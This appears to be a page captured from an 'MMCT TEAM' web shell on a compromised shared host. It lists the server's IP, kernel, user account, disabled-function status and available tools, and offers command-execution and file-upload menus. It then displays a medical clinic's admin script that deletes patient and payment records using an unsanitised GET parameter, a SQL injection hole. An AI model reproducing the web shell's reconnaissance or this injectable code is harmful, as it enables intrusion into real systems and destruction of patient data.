MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/vssvclinic/Admin/action/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/vssvclinic/Admin/action/pati_delete.php
<?php
include '../Includes/db.php';


// $sql = "select * from tbl_payment where patient_id='$i'  ";
//                                                 $sql_res = mysqli_query($con, $sql) or die(mysqli_error($con));
//                                                 $sql_row = mysqli_fetch_assoc($sql_res);
//                                                 $payid = $sql_row['id'];

$i=$_GET['id'];
$a="delete from tbl_paitant where id=$i";
$result = mysqli_query($con,$a);



// $j=$_GET['payid'];
$k="delete from tbl_payment where patient_id=$i";
$results = mysqli_query($con,$k);



if ($result) 
{?>
    <script type="text/javascript">alert("Data Deleted");</script> <?php echo"<script>location.href='../view_patient_data.php';</script>";

}
else
{?>
    <script type="text/javascript">alert("Data not Deleted");</script>
<?php
echo"<script>location.href='../view_patient_data.php';</script>";
 }



?>

MMCT - 2023